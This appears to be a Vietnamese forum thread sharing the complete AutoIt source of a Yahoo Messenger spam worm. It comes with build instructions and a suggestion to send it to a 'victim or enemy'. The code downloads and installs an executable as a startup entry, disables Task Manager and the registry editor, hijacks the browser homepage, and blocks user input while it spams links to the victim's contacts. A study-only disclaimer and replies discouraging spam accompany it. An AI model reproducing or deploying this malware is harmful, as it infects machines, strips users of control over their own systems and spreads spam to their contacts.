Con virus lây lan qua yahoo messenger đây( 1 dạng của girltinh)

[Tử_Thần]

Cảnh báo:Đây là source cơ bản nhất của 1 virus phát tán qua YM.
Đáng lẽ phải xóa đi vì tính nguy hiểm cao của nó, nhưng xét nghĩ cũng cần thiết để dùng trong mục đích học tập:31: nên giữ lại.Các bạn Admins TTQuyNhon có thể dùng để quảng cáo web. Nhưng mình khuyên là ko nên dùng.Vì sao thì chắc các bạn cũng hiểu.:102::(
Các bạn không nên lạm dụng bài viết này để phá hoại.
VinaAgloco

Các bạn hãy tải AutoIT về nha( cái này dùng để viết ra con gỉltinh đó)
link nè :
bạn vào AutoIt v3 - Downloads (http://www.autoitscript.com/autoit3/downloads.shtml) để down load nha, trong lúc setup bạn chọn run........... trong cái bản setup nha cài xong là ok rồi hjhj kế tiếp là con virus nè . Các bạn coppy cái đoạn mã dưới đây vào notepad nha.



; <AUT2EXE VERSION: 3.2.0.1>

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:\AutoIT\Projects\Adware\DKC.au3>
; ----------------------------------------------------------------------------

;--------------------------------------------
; Tac Gia: KVD
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Phat Hanh: 1-9-2006
;--------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://playboy.com"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\taskmng.exe") Then
InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
Sleep(5000)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[10]
$tin[0] = "Nguoi ra di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang... " & $website & " "
$tin[1] = "Ngay khong em anh day lam sao cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang... " & $website & " "
$tin[2] = "Om bau dau thuong, minh anh co don chon day. Ngay mai em ra di, chon giau bao ky niem... " & $website & " "
$tin[3] = "Dem nay mua ngoai hien, mua oi dung roi them cho xot xa. Anh khong quay ve day, loi nao anh noi da quen... " & $website & " "
$tin[4] = "Ngay mai thoi doi ta lia xa em con nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao... " & $website & " "
$tin[5] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $website & " "
$tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $website & " "
$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $website & " "
$tin[8] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $website & " "
$tin[9] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " & $website & " "

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(60000)
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
BlockInput (0)
EndIf
Sleep(1800000)
WEnd

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: D:\AutoIT\Projects\Adware\DKC.au3>
; --------------------------------------------------------------------

Sau đó, các bạn save lại với cái đuôi là *.au3 nha ( tức là au3 đó )rồi các bạn chỉ cần gởi cho victim hay enemy là ok rồi . hjhj
Àh wên, trên đây là mình giới thiệu web phayboy đó,các bạn thay link web Playboy.com - Sex, Sexy Women, Hot Girls, Nude Women, Playmates, Cyber Girls, Centerfolds, Playboy Magazine, Celebrities, Fashion, Articles (http://playboy.com) thành web bạn muốn quảng cáo là được hà hjhj
Ai thấy hay thanks mình nha

[VipMasterVip]

Như những gì mà Tử thần đã nói chúng ta chỉ sử dụng nội dung của bài viết này để phục vụ cho mục đích nghiên cứu. BQT nghiêm cấm sử dụng chúng vì mục đích khác: Spam gây phiền toái cho người dùng. Vì anh em chúng ta sống trên mạng cũng biết rồi đó. Nhiều lúc thật bực bội vì spam yahoo tràng lan rất khó chịu.

Mỗi người ý thức một tí để đời sống Online của mỗi chúng ta dễ chịu và sạch hơn

[blackdargon]

hok dám down thử . Sợ chết máy